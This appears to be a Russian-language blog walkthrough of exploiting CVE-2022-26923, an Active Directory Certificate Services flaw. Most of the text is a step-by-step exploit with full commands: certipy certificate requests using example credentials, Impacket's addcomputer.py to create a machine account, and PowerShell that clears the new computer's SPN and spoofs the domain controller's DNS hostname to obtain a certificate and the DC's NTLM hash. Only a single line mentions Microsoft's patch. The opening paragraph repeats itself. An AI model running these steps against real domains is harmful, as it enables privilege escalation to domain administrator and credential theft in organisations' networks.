
Уязвимость позволяла пользователю с низкими привилегиями повысить свои привилегии до администратора домена в среде Active Directory по умолчанию с установленной ролью сервера Active Directory Certificate Services (AD CS).
Уязвимость позволяла пользователю с низкими привилегиями повышать свои привилегии до администратора домена в среде Active Directory по умолчанию с установленной серверной ролью служб сертификации Active Directory (AD CS).
Эксплойт был разработан Оливером Льяком (ly4k_) на Python и опубликован до, а не после выпуска рекомендаций. Он заявлен как proof-of-concept. Эксплойт доступен для загрузки на research.ifcr.dk.
Источник :
Недавно раскрытая ошибка повышения привилегий в Active Directory Domain ещё не использовалась в реальных атаках, однако её высокий показатель CVSS 8.8 указывает на высокий риск, который она представляет для скомпрометированных систем, позволяя злоумышленникам злоупотреблять сертификатами. CVE-2022–26923 позволяет манипулировать атрибутом DnsHostName, который задаёт имя компьютера в том виде, в котором оно зарегистрировано в DNS, и затем даёт противнику возможность получить сертификат от служб сертификации Active Directory (AD CS), что потенциально приводит к повышению привилегий.
- Username: user_test
- Password: Password123#
- Domain: my.domain.com
To reproduce you must:
- Have impacket and certipy installed on the attacking machine.
- https://github.com/SecureAuthCorp/impacket
- https://github.com/ly4k/Certipy
- Have compromised a user with low privilege.
- A system is vulnerable only if Active Directory Certificate Services is running on the domain.
Начнём с генерации сертификата для нашего пользователя AD с низкими привилегиями (Username=user_test Password=Password123#) с использованием шаблона сертификата User:
certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
Проверим, что сертификат действителен и может использоваться для аутентификации Kerberos через Certipy:
certipy auth -pfx user_test.pfx
Добавление виртуального компьютера в домен с помощью Impacket
addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
# my.domain.com/user_test:Password123# - We need to provide valid AD credentials in order to add a new computer.
# method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
# computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
# computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
Сгенерируем сертификат для созданного нами нового компьютера. Чтобы использовать учётную запись компьютера, необходимо добавить «$» в конец имени:
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
Для смягчения последствий CVE-2022–26923 и принятия защитных мер корпорация Microsoft настоятельно рекомендует обновить все серверы, на которых работают службы сертификации Active Directory (AD CS), а также контроллеры домена Windows, использующие сертификатную аутентификацию, до последней версии от 10 мая.
На скомпрометированной машине обновляем атрибуты DNS Hostname и SPN:
PS C:\Users\user_test> Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
Удаляем текущий атрибут SPN
PS C:\Users\user_test> Set-ADComputer NEW_PC -ServicePrincipalName @{}
Попробуем установить атрибут DNS hostname как у контроллера домена:
PS C:\Users\user_test> Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com
На атакующей машине формируем вредоносный сертификат
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
Проверяем, что сертификат работает и вернёт хэш NTLM
certipy auth -pfx hostname.pfx